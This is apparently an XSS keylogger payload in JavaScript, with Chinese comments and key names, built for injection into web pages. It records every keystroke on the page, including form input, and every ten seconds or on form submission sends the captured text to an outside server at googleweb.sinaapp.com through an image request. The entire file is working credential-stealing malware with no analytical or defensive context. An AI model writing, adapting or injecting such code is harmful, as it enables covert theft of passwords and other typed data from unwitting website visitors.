(function(){
        var logger = &quot;&quot;;
        keyDown = function(e)
        {
                var e=e||event;
                var currKey=e.keyCode||e.which||e.charCode;
                if((currKey&gt;7&amp;&amp;currKey&lt;32)||(currKey&gt;31&amp;&amp;currKey&lt;47))
                {
                   switch(currKey)
           　  {
                        case 8: keyName = &quot;[退格]&quot;; break;
                        case 9: keyName = &quot;[制表]&quot;; break;
                        case 13:keyName = &quot;[回车]&quot;; break;
                        //case 16:keyName = &quot;[shift]&quot;; break;
                        case 17:keyName = &quot;[Ctrl]&quot;; break;
                        case 18:keyName = &quot;[Alt]&quot;; break;
                        case 20:keyName = &quot;[大小写]&quot;; break;
                        case 32:keyName = &quot;[空格]&quot;; break;
                        case 33:keyName = &quot;[PageUp]&quot;;   break;
                        case 34:keyName = &quot;[PageDown]&quot;;   break;
                        case 35:keyName = &quot;[End]&quot;;   break;
                        case 36:keyName = &quot;[Home]&quot;;   break;
                        case 37:keyName = &quot;[方向键左]&quot;;   break;
                        case 38:keyName = &quot;[方向键上]&quot;;   break;
                        case 39:keyName = &quot;[方向键右]&quot;;   break;
                        case 40:keyName = &quot;[方向键下]&quot;;   break;
                        case 46:keyName = &quot;[删除]&quot;;   break;
                        default:keyName = &quot;&quot;;    break;
                   }
                   logger += keyName;
                }
        }
        keyPress = function(e)
        {
                var currKey=0,CapsLock=0,e=e||event;
                currKey=e.keyCode||e.which||e.charCode;
                CapsLock=currKey&gt;=65&amp;&amp;currKey&lt;=90;
                switch(currKey)
                {
                   　 　 //屏蔽了退格、制表、回车、空格、方向键、删除键等
                   　 　 case 8: case 9:case 13:case 16:case 17:case 18:case 20:
                                    case 32: case 33: case 34: case 35: case 36: case 37:case 38:
                                    case 39:case 40:case 46:keyName = &quot;&quot;;break;
                   　 　 default:keyName = String.fromCharCode(currKey); break;
                }
                logger += keyName;
        }
        sendChar = function()
        {
                if (!logger) return;
                (new Image).src=&quot;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&amp;char=&quot; + logger; //服务端地址
                logger = &quot;&quot;;
        }
        formSubmit = function()
        {
                sendChar();
        }
        document.onkeydown = keyDown;
        document.onkeypress = keyPress;
        document.onsubmit = formSubmit;
        setInterval(sendChar, 10000); //设置定时器
})();